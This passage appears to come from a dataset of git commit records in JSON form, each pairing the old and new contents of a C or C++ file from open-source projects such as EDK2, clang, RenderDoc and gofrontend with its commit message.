Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"Node.h\"\n#include <vector>\n\nnamespace GEP\n{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief TestData is data to test expression and calculate fitness.\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct TestData\n{\n    std::vector<float>  variable;\n    float               result;\n};\n\nfloat CalculFitnessFrom(TestData & testData,PtrNode root);\n\n} \/\/ namespace GEP\n#endif \/\/ TESTDATA_H\n","subject":"Correct bug : result is float, not integer","message":"Correct bug : result is float, not integer\n","lang":"C","license":"mit","repos":"Orwel\/GeneExpressionProgramming,Orwel\/GeneExpressionProgramming"}
{"commit":"a0fa23aab206f03d9f11a2d03b34bc76eeb8f162","old_file":"UefiCpuPkg\/Include\/CpuHotPlugData.h","new_file":"UefiCpuPkg\/Include\/CpuHotPlugData.h","old_contents":"","new_contents":"\/** @file\r\nDefinition for a structure sharing information for CPU hot plug.\r\n\r\nCopyright (c) 2013 - 2015, Intel Corporation. All rights reserved.<BR>\r\nThis program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _CPU_HOT_PLUG_DATA_H_\r\n#define _CPU_HOT_PLUG_DATA_H_\r\n\r\n#define  CPU_HOT_PLUG_DATA_REVISION_1      0x00000001\r\n\r\ntypedef struct {\r\n  UINT32    Revision;          \/\/ Used for version identification for this structure\r\n  UINT32    ArrayLength;       \/\/ The entries number of the following ApicId array and SmBase array\r\n  \/\/\r\n  \/\/ Data required for SMBASE relocation\r\n  \/\/\r\n  UINT64    *ApicId;           \/\/ Pointer to ApicId array\r\n  UINTN     *SmBase;           \/\/ Pointer to SmBase array\r\n  UINT32    Reserved;\r\n  UINT32    SmrrBase;\r\n  UINT32    SmrrSize;\r\n} CPU_HOT_PLUG_DATA;\r\n\r\n#endif\r\n","subject":"Add CPU Hot Plug Data include file","message":"UefiCpuPkg: Add CPU Hot Plug Data include file\n\nAdd CpuHotPlugData.h that defines a data structure that is shared between\nmodules and is required for to support hot plug CPUs.\n\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: Michael Kinney <michael.d.kinney@intel.com>\nReviewed-by: Jeff Fan <jeff.fan@intel.com>\n\ngit-svn-id: 3158a46dfd52e07d1fda3e32e1ab2e353a00b20f@18643 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"dfda6fe8550bbdbf1176c76cdbc943cc5a6dec86","old_file":"cc1\/tests\/test027.c","new_file":"cc1\/tests\/test027.c","old_contents":"","new_contents":"\n\/*\nname: TEST027\ndescription: Test of cpp stringizer\noutput:\nF2\nG3\tF2\tmain\n{\n\\\nA5\tP\tp\n\tA5\t\"68656C6C6F20697320626574746572207468616E20627965\t'P\t:P\n\tr\tA5\t@K\tgK\n}\n*\/\n\n#define x(y) #y\n\nint\nmain(void)\n{\n\tchar *p;\n\tp = x(hello)  \" is better than bye\";\n\n\treturn *p;\n}\n\n","subject":"Add basic test for macro argument stringizer","message":"Add basic test for macro argument stringizer\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc"}
{"commit":"772e45ac76879b551a219c3d13c72cb2fcdd030a","old_file":"Pod\/Classes\/Clappr.h","new_file":"Pod\/Classes\/Clappr.h","old_contents":"#ifndef Pods_Clappr_h\n#define Pods_Clappr_h\n\n#import <Foundation\/Foundation.h>\n#import <Clappr\/Player.h>\n\n#import <Clappr\/CLPBaseObject.h>\n#import <Clappr\/CLPUIObject.h>\n#import <Clappr\/CLPContainer.h>\n#import <Clappr\/CLPPlayback.h>\n#import <Clappr\/CLPMediaControl.h>\n#import <Clappr\/CLPCore.h>\n#import <Clappr\/CLPPlayer.h>\n\n#import <Clappr\/CLPScrubberView.h>\n\n#endif\n","new_contents":"#ifndef Pods_Clappr_h\n#define Pods_Clappr_h\n\n\/\/ System\n#import <Foundation\/Foundation.h>\n\n\/\/TODO To be excluded\n#import <Clappr\/Player.h>\n\n\/\/ Core\n#import <Clappr\/CLPBaseObject.h>\n#import <Clappr\/CLPUIObject.h>\n#import <Clappr\/CLPContainer.h>\n#import <Clappr\/CLPPlayback.h>\n#import <Clappr\/CLPMediaControl.h>\n#import <Clappr\/CLPCore.h>\n#import <Clappr\/CLPPlayer.h>\n\n\/\/ Components\n#import <Clappr\/CLPLoader.h>\n\n\/\/ Plugins\n#import <Clappr\/CLPAVFoundationPlayback.h>\n\n\/\/ Views\n#import <Clappr\/CLPScrubberView.h>\n\n#endif\n","subject":"Add Loader and AVFoundation playback to clappr base header.","message":"Add Loader and AVFoundation playback to clappr base header.\n","lang":"C","license":"bsd-3-clause","repos":"barbosa\/clappr-ios,barbosa\/clappr-ios,clappr\/clappr-ios,clappr\/clappr-ios,clappr\/clappr-ios"}
{"commit":"08dc34df72898761e2da9c3ccdf6a7592eb8c7bf","old_file":"src\/exercise210.c","new_file":"src\/exercise210.c","old_contents":"\/*\n * A solution to Exercise 2-3 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint16_t lower(int16_t);\n\nint main(void)\n{\n\tint16_t character;\n\twhile((character = getchar()) != EOF) {\n\t\tputchar(lower(character));\n  }\n\treturn EXIT_SUCCESS;\n}\n\nint16_t lower(int16_t character)\n{\n\treturn (character >= 'A' && character <= 'Z') ? character + 'a' - 'A' : character;\n}\n","new_contents":"\/*\n * A solution to Exercise 2-10 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint16_t lower(int16_t);\n\nint main(void)\n{\n  int16_t character;\n  while((character = getchar()) != EOF) {\n    putchar(lower(character));\n  }\n  return EXIT_SUCCESS;\n}\n\nint16_t lower(int16_t character)\n{\n  return (character >= 'A' && character <= 'Z') ? character + 'a' - 'A' : character;\n}\n","subject":"Purge tabs and fix a comment.","message":"Purge tabs and fix a comment.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"62e18306de090b7bd20f6aa561be1f47406a2414","old_file":"qrenderdoc\/Code\/RenderManager.h","new_file":"qrenderdoc\/Code\/RenderManager.h","old_contents":"#ifndef RENDERMANAGER_H\n#define RENDERMANAGER_H\n\n#include <QMutex>\n#include <QQueue>\n#include <QString>\n#include <QThread>\n#include <QWaitCondition>\n#include <functional>\n#include \"renderdoc_replay.h\"\n\nstruct IReplayRenderer;\nclass LambdaThread;\n\nclass RenderManager\n{\npublic:\n  typedef std::function<void(IReplayRenderer *)> InvokeMethod;\n\n  RenderManager();\n  ~RenderManager();\n\n  void Init(int proxyRenderer, QString replayHost, QString logfile, float *progress);\n\n  bool IsRunning();\n  ReplayCreateStatus GetCreateStatus() { return m_CreateStatus; }\n  void AsyncInvoke(InvokeMethod m);\n  void BlockInvoke(InvokeMethod m);\n\n  void CloseThread();\n\nprivate:\n  struct InvokeHandle\n  {\n    InvokeHandle(InvokeMethod m)\n    {\n      method = m;\n      processed = false;\n      selfdelete = true;\n    }\n\n    InvokeMethod method;\n    bool processed;\n    bool selfdelete;\n  };\n\n  void run();\n\n  QMutex m_RenderLock;\n  QQueue<InvokeHandle *> m_RenderQueue;\n  QWaitCondition m_RenderCondition;\n\n  void PushInvoke(InvokeHandle *cmd);\n\n  int m_ProxyRenderer;\n  QString m_ReplayHost;\n  QString m_Logfile;\n  float *m_Progress;\n\n  volatile bool m_Running;\n  LambdaThread *m_Thread;\n  ReplayCreateStatus m_CreateStatus;\n};\n\n#endif    \/\/ RENDERMANAGER_H\n","new_contents":"#ifndef RENDERMANAGER_H\n#define RENDERMANAGER_H\n\n#include <QMutex>\n#include <QQueue>\n#include <QString>\n#include <QThread>\n#include <QWaitCondition>\n#include <functional>\n#include \"renderdoc_replay.h\"\n\nstruct IReplayRenderer;\nclass LambdaThread;\n\n\/\/ simple helper for the common case of 'we just need to run this on the render thread\n#define INVOKE_MEMFN(function) \\\n  m_Core->Renderer()->AsyncInvoke([this](IReplayRenderer *) { function(); });\n\nclass RenderManager\n{\npublic:\n  typedef std::function<void(IReplayRenderer *)> InvokeMethod;\n\n  RenderManager();\n  ~RenderManager();\n\n  void Init(int proxyRenderer, QString replayHost, QString logfile, float *progress);\n\n  bool IsRunning();\n  ReplayCreateStatus GetCreateStatus() { return m_CreateStatus; }\n  void AsyncInvoke(InvokeMethod m);\n  void BlockInvoke(InvokeMethod m);\n\n  void CloseThread();\n\nprivate:\n  struct InvokeHandle\n  {\n    InvokeHandle(InvokeMethod m)\n    {\n      method = m;\n      processed = false;\n      selfdelete = true;\n    }\n\n    InvokeMethod method;\n    bool processed;\n    bool selfdelete;\n  };\n\n  void run();\n\n  QMutex m_RenderLock;\n  QQueue<InvokeHandle *> m_RenderQueue;\n  QWaitCondition m_RenderCondition;\n\n  void PushInvoke(InvokeHandle *cmd);\n\n  int m_ProxyRenderer;\n  QString m_ReplayHost;\n  QString m_Logfile;\n  float *m_Progress;\n\n  volatile bool m_Running;\n  LambdaThread *m_Thread;\n  ReplayCreateStatus m_CreateStatus;\n};\n\n#endif    \/\/ RENDERMANAGER_H\n","subject":"Add a helper macro for simple async render thread invokes","message":"Add a helper macro for simple async render thread invokes\n","lang":"C","license":"mit","repos":"victor-moya\/renderdoc,TurtleRockStudios\/renderdoc_public,etnlGD\/renderdoc,googlestadia\/renderdoc,Anteru\/renderdoc,etnlGD\/renderdoc,TurtleRockStudios\/renderdoc_public,Anteru\/renderdoc,Velro\/renderdoc,Velro\/renderdoc,etnlGD\/renderdoc,Zorro666\/renderdoc,Yours3lf\/renderdoc,Yours3lf\/renderdoc,cgmb\/renderdoc,googlestadia\/renderdoc,victor-moya\/renderdoc,cgmb\/renderdoc,michaelrgb\/renderdoc,etnlGD\/renderdoc,googlestadia\/renderdoc,Anteru\/renderdoc,victor-moya\/renderdoc,Velro\/renderdoc,baldurk\/renderdoc,Yours3lf\/renderdoc,moradin\/renderdoc,Velro\/renderdoc,michaelrgb\/renderdoc,TurtleRockStudios\/renderdoc_public,Lssikkes\/renderdoc,moradin\/renderdoc,Velro\/renderdoc,googlestadia\/renderdoc,cgmb\/renderdoc,moradin\/renderdoc,michaelrgb\/renderdoc,victor-moya\/renderdoc,Yours3lf\/renderdoc,Lssikkes\/renderdoc,Zorro666\/renderdoc,Lssikkes\/renderdoc,baldurk\/renderdoc,googlestadia\/renderdoc,Zorro666\/renderdoc,baldurk\/renderdoc,victor-moya\/renderdoc,Anteru\/renderdoc,victor-moya\/renderdoc,Zorro666\/renderdoc,baldurk\/renderdoc,etnlGD\/renderdoc,moradin\/renderdoc,baldurk\/renderdoc,Yours3lf\/renderdoc,Velro\/renderdoc,Lssikkes\/renderdoc,googlestadia\/renderdoc,cgmb\/renderdoc,Zorro666\/renderdoc,Anteru\/renderdoc,Yours3lf\/renderdoc,Lssikkes\/renderdoc,Anteru\/renderdoc,Zorro666\/renderdoc,etnlGD\/renderdoc,TurtleRockStudios\/renderdoc_public,TurtleRockStudios\/renderdoc_public,Lssikkes\/renderdoc,Anteru\/renderdoc,TurtleRockStudios\/renderdoc_public,michaelrgb\/renderdoc,cgmb\/renderdoc,moradin\/renderdoc,michaelrgb\/renderdoc,moradin\/renderdoc,baldurk\/renderdoc"}
{"commit":"3555739656f0eec99f4f6edb1cedf032c5d1754a","old_file":"libgo\/runtime\/go-rec-nb-big.c","new_file":"libgo\/runtime\/go-rec-nb-big.c","old_contents":"\/* go-rec-nb-big.c -- nonblocking receive of something big on a channel.\n\n   Copyright 2009 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include <stdint.h>\n#include <assert.h>\n\n#include \"channel.h\"\n\n_Bool\n__go_receive_nonblocking_big (struct __go_channel* channel, void *val)\n{\n  size_t alloc_size;\n  size_t offset;\n\n  alloc_size = ((channel->element_size + sizeof (uint64_t) - 1)\n\t\t\/ sizeof (uint64_t));\n\n  int data = __go_receive_nonblocking_acquire (channel);\n  if (data != RECEIVE_NONBLOCKING_ACQUIRE_DATA)\n    {\n      __builtin_memset (val, 0, channel->element_size);\n      if (data == RECEIVE_NONBLOCKING_ACQUIRE_NODATA)\n\treturn 0;\n      else\n\t{\n\t  \/* Channel is closed.  *\/\n\t  return 1;\n\t}\n    }\n\n  offset = channel->next_store * alloc_size;\n  __builtin_memcpy (val, &channel->data[offset], channel->element_size);\n\n  __go_receive_release (channel);\n\n  return 1;\n}\n","new_contents":"\/* go-rec-nb-big.c -- nonblocking receive of something big on a channel.\n\n   Copyright 2009 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include <stdint.h>\n#include <assert.h>\n\n#include \"channel.h\"\n\n_Bool\n__go_receive_nonblocking_big (struct __go_channel* channel, void *val)\n{\n  size_t alloc_size;\n  size_t offset;\n\n  alloc_size = ((channel->element_size + sizeof (uint64_t) - 1)\n\t\t\/ sizeof (uint64_t));\n\n  int data = __go_receive_nonblocking_acquire (channel);\n  if (data != RECEIVE_NONBLOCKING_ACQUIRE_DATA)\n    {\n      __builtin_memset (val, 0, channel->element_size);\n      if (data == RECEIVE_NONBLOCKING_ACQUIRE_NODATA)\n\treturn 0;\n      else\n\t{\n\t  \/* Channel is closed.  *\/\n\t  return 1;\n\t}\n    }\n\n  offset = channel->next_fetch * alloc_size;\n  __builtin_memcpy (val, &channel->data[offset], channel->element_size);\n\n  __go_receive_release (channel);\n\n  return 1;\n}\n","subject":"Correct nonblocking receive of a value larger than 8 bytes.","message":"Correct nonblocking receive of a value larger than 8 bytes.\n\nR=iant\nhttps:\/\/golang.org\/cl\/1743042\n","lang":"C","license":"bsd-3-clause","repos":"qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,golang\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend"}
{"commit":"8aedf8e81a300dbab13689632b1518826d681529","old_file":"src\/scoreboard\/circular_buffer.h","new_file":"src\/scoreboard\/circular_buffer.h","old_contents":"template<class T, size_t S>\nclass CircularBuffer {\n  public:\n    CircularBuffer() : index(0), count(0) {}\n    \n    void push_item(T item) {\n        array[index + 1] = item;\n        index = (index + 1) % S;\n        count++;\n    }\n\n    T pop_item() {\n        if (count > 0) {\n            int old_index = index;\n            index = index == 0 ? S - 1 : index - 1;\n            count--;\n            return array[old_index];\n        }\n    }\n\n    T peak_item() {\n        if (count > 0) {\n            return array[index];\n        }\n    }\n  private:\n    int index;\n    int count;\n    T array[S];\n};\n","new_contents":"template<class T, size_t S>\nclass CircularBuffer {\n  public:\n    CircularBuffer() : index(0), count(0) {}\n    \n    void push_item(T item) {\n        index = (index + 1) % S;\n        array[index] = item;\n        if (count < S) count++;\n    }\n\n    T pop_item() {\n        int old_index = index;\n        if (count > 0) {\n            index = index == 0 ? S - 1 : index - 1;\n            count--;\n        }\n        return array[old_index];\n    }\n\n    T peek_item() {\n        return array[index];\n    }\n  private:\n    int index;\n    int count;\n    T array[S];\n};\n","subject":"Fix issues with circular buffer","message":"Fix issues with circular buffer\n","lang":"C","license":"mit","repos":"jvsalo\/leditaulu,jvsalo\/leditaulu,jvsalo\/leditaulu,jvsalo\/leditaulu"}
{"commit":"397948c76e8c43819702459269451493a2449e4e","old_file":"PolyMapGenerator\/ConvexHull.h","new_file":"PolyMapGenerator\/ConvexHull.h","old_contents":"#ifndef CONVEX_HULL_H\n#define CONVEX_HULL_H\n\n\n\n#endif","new_contents":"#ifndef CONVEX_HULL_H\n#define CONVEX_HULL_H\n\n#include <algorithm>\n\n#include \"Structure.h\"\n#include \"Math\/Vector2.h\"\n\nnamespace ConvexHull\n{\n\tinline double Cross(const Vector2& O, const Vector2& A, const Vector2& B)\n\t{\n\t\treturn (A.x - O.x) * (B.y - O.y) - (A.y - O.y) * (B.x - O.x);\n\t}\n\n\tinline std::vector<Corner*> CalculateConvexHull(std::vector<Corner*> P)\n\t{\n\t\tint n = P.size(), k = 0;\n\t\tstd::vector<Corner*> H(2 * n);\n\n\t\t\/\/ Sort points lexicographically\n\t\tsort(P.begin(), P.end(), [](Corner* c1, Corner* c2)\n\t\t{\n\t\t\treturn c1->m_position.x < c2->m_position.x || (c1->m_position.x == c2->m_position.x && c1->m_position.y < c2->m_position.y);\n\t\t});\n\n\t\t\/\/ Build lower hull\n\t\tfor (int i = 0; i < n; ++i) {\n\t\t\twhile (k >= 2 && cross(H[k - 2]->m_position, H[k - 1]->m_position, P[i]->m_position) <= 0) k--;\n\t\t\tH[k++] = P[i];\n\t\t}\n\n\t\t\/\/ Build upper hull\n\t\tfor (int i = n - 2, t = k + 1; i >= 0; i--) {\n\t\t\twhile (k >= t && cross(H[k - 2]->m_position, H[k - 1]->m_position, P[i]->m_position) <= 0) k--;\n\t\t\tH[k++] = P[i];\n\t\t}\n\n\t\tH.resize(k - 1);\n\n\t\treturn P;\n\t}\n};\n\n#endif","subject":"Implement some part of convex hull","message":"Implement some part of convex hull\n","lang":"C","license":"mit","repos":"utilForever\/PolyMapGenerator"}
{"commit":"d5700e91d3254fb3db6a56bc4b243a3e4e1e86a8","old_file":"src\/ms-error.h","new_file":"src\/ms-error.h","old_contents":"\/*\n * Copyright (C) 2010 Igalia S.L.\n *\n * Contact: Iago Toral Quiroga <itoral@igalia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * as published by the Free Software Foundation; version 2.1 of\n * the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\n *\/\n\n#ifndef _MS_ERROR_H_\n#define _MS_ERROR_H_\n\n#define MS_ERROR g_quark_from_static_string(\"media-store.error.general\")\n\nenum {\n  MS_ERROR_BROWSE_FAILED = 1,\n  MS_ERROR_SEARCH_FAILED,\n  MS_ERROR_METADATA_FAILED,\n  MS_ERROR_MEDIA_NOT_FOUND\n};\n\n#endif\n","new_contents":"\/*\n * Copyright (C) 2010 Igalia S.L.\n *\n * Contact: Iago Toral Quiroga <itoral@igalia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * as published by the Free Software Foundation; version 2.1 of\n * the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\n *\/\n\n#ifndef _MS_ERROR_H_\n#define _MS_ERROR_H_\n\n#define MS_ERROR g_quark_from_static_string(\"media-store.error.general\")\n\nenum {\n  MS_ERROR_BROWSE_FAILED = 1,\n  MS_ERROR_SEARCH_FAILED,\n  MS_ERROR_QUERY_FAILED,\n  MS_ERROR_METADATA_FAILED,\n  MS_ERROR_MEDIA_NOT_FOUND\n};\n\n#endif\n","subject":"Add error code for failing query.","message":"Add error code for failing query.\n","lang":"C","license":"lgpl-2.1","repos":"kyoushuu\/grilo,GNOME\/grilo,kyoushuu\/grilo,kyoushuu\/grilo,grilofw\/grilo,grilofw\/grilo,grilofw\/grilo,jasuarez\/grilo,kyoushuu\/grilo,MathieuDuponchelle\/grilo,MathieuDuponchelle\/grilo,jasuarez\/grilo,MathieuDuponchelle\/grilo,GNOME\/grilo,jasuarez\/grilo"}
{"commit":"28273b949da7a786df9f61af51279cf0122de3cc","old_file":"test\/Driver\/qa_override.c","new_file":"test\/Driver\/qa_override.c","old_contents":"\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"#+-Os +-Oz +-O +-O3 +-Oignore +a +b +c xb Xa Omagic ^-ccc-print-options  \" %clang x -O2 b -O3 2>&1 | FileCheck %s\n\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"x-Werror +-mfoo\" %clang -Werror %s -c 2>&1 | FileCheck %s -check-prefix=RM-WERROR\n\n\/\/ FIXME: It seems doesn't work with gcc-driver.\n\/\/ REQUIRES: clang-driver\n\n\/\/ CHECK-NOT: ###\n\/\/ CHECK: Option 0 - Name: \"-ccc-print-options\", Values: {}\n\/\/ CHECK-NEXT: Option 1 - Name: \"<input>\", Values: {\"x\"}\n\/\/ CHECK-NEXT: Option 2 - Name: \"-O\", Values: {\"ignore\"}\n\/\/ CHECK-NEXT: Option 3 - Name: \"-O\", Values: {\"magic\"}\n\n\/\/ RM-WERROR: ### QA_OVERRIDE_GCC3_OPTIONS: x-Werror +-mfoo\n\/\/ RM-WERROR-NEXT: ### Deleting argument -Werror\n\/\/ RM-WERROR-NEXT: ### Adding argument -mfoo at end\n\/\/ RM-WERROR-NEXT: warning: argument unused during compilation: '-mfoo'\n","new_contents":"\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"#+-Os +-Oz +-O +-O3 +-Oignore +a +b +c xb Xa Omagic ^-ccc-print-options  \" %clang x -O2 b -O3 2>&1 | FileCheck %s\n\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"x-Werror +-mfoo\" %clang -Werror %s -c -### 2>&1 | FileCheck %s -check-prefix=RM-WERROR\n\n\/\/ CHECK-NOT: ###\n\/\/ CHECK: Option 0 - Name: \"-ccc-print-options\", Values: {}\n\/\/ CHECK-NEXT: Option 1 - Name: \"<input>\", Values: {\"x\"}\n\/\/ CHECK-NEXT: Option 2 - Name: \"-O\", Values: {\"ignore\"}\n\/\/ CHECK-NEXT: Option 3 - Name: \"-O\", Values: {\"magic\"}\n\n\/\/ RM-WERROR: ### QA_OVERRIDE_GCC3_OPTIONS: x-Werror +-mfoo\n\/\/ RM-WERROR-NEXT: ### Deleting argument -Werror\n\/\/ RM-WERROR-NEXT: ### Adding argument -mfoo at end\n\/\/ RM-WERROR: warning: argument unused during compilation: '-mfoo'\n\/\/ RM-WERROR-NOT: \"-Werror\"\n","subject":"Make this test not try to write on object file and test all of the output rather than just part of it.","message":"Make this test not try to write on object file and test all of the\noutput rather than just part of it.\n\nAlso, remove the frighteningly ancient comment about not working with\nthe gcc-driver. (!!!)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@187376 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"f8ff178831e639a2d91e0eb03840ee60f3dda1d3","old_file":"libgnomeui\/gnome-properties.h","new_file":"libgnomeui\/gnome-properties.h","old_contents":"#ifndef GNOME_PROPERTIES_H\n#define GNOME_PROPERTIES_H\n#include <libgnome\/gnome-defs.h>\n\nBEGIN_GNOME_DECLS\n\nEND_GNOME_DECLS\n\n#endif\n","new_contents":"\/* This file is currently empty; I'm going to add new code here soon.\n   Oct 27 1998. Martin\n *\/\n","subject":"Make this an empty file just with a comment in it.","message":"Make this an empty file just with a comment in it.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/libgnomeui,Distrotech\/libgnomeui,Distrotech\/libgnomeui"}
{"commit":"0a32f8a771dac86fe30ac2ee8cce171b4f9ee004","old_file":"third-party\/lib\/openlibm\/impl.h","new_file":"third-party\/lib\/openlibm\/impl.h","old_contents":"\n#ifndef _OPENLIB_FINITE_H\n#define _OPENLIB_FINITE_H\n\n#include <sys\/cdefs.h>\n\n#define __BSD_VISIBLE 1\n\n#include <..\/..\/build\/extbld\/third_party\/lib\/OpenLibm\/install\/openlibm_math.h>\n\nstatic inline int finite(double x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitef(float x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitel(long double x) {\n\treturn isfinite(x);\n}\n\n#if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L)\n__BEGIN_DECLS\nextern long long int llabs(long long int j);\n__END_DECLS\n#endif\n\n#endif \/* _OPENLIB_FINITE_H *\/\n","new_contents":"\n#ifndef _OPENLIB_FINITE_H\n#define _OPENLIB_FINITE_H\n\n#include <sys\/cdefs.h>\n\n#define __BSD_VISIBLE 1\n\n#include <..\/..\/build\/extbld\/third_party\/lib\/OpenLibm\/install\/openlibm_math.h>\n\nstatic inline int finite(double x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitef(float x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitel(long double x) {\n\treturn isfinite(x);\n}\n\n#endif \/* _OPENLIB_FINITE_H *\/\n","subject":"Remove llabs declaration from openlibm port","message":"Remove llabs declaration from openlibm port\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"a35eb2fedb0ea565c766f4dd55bab2ca866f5cb2","old_file":"be\/src\/util\/scope-exit-trigger.h","new_file":"be\/src\/util\/scope-exit-trigger.h","old_contents":"\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements.  See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership.  The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License.  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied.  See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#ifndef IMPALA_UTIL_SCOPE_EXIT_TRIGGER_H\n#define IMPALA_UTIL_SCOPE_EXIT_TRIGGER_H\n\n#include <functional>\n\nnamespace impala {\n\n\/\/\/ Utility class that calls a client-supplied function when it is destroyed.\n\/\/\/\n\/\/\/ Use judiciously - scope exits can be hard to reason about, and this class should not\n\/\/\/ act as proxy for work-performing d'tors, which we try to avoid.\nclass ScopeExitTrigger {\n public:\n  ScopeExitTrigger(const auto& trigger) : trigger_(trigger) {}\n\n  ~ScopeExitTrigger() { trigger_(); }\n\n private:\n  std::function<void()> trigger_;\n};\n}\n\n#endif\n","new_contents":"\/\/ Licensed to the Apache Software Foundation (ASF) under one\n\/\/ or more contributor license agreements.  See the NOTICE file\n\/\/ distributed with this work for additional information\n\/\/ regarding copyright ownership.  The ASF licenses this file\n\/\/ to you under the Apache License, Version 2.0 (the\n\/\/ \"License\"); you may not use this file except in compliance\n\/\/ with the License.  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an\n\/\/ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n\/\/ KIND, either express or implied.  See the License for the\n\/\/ specific language governing permissions and limitations\n\/\/ under the License.\n\n#ifndef IMPALA_UTIL_SCOPE_EXIT_TRIGGER_H\n#define 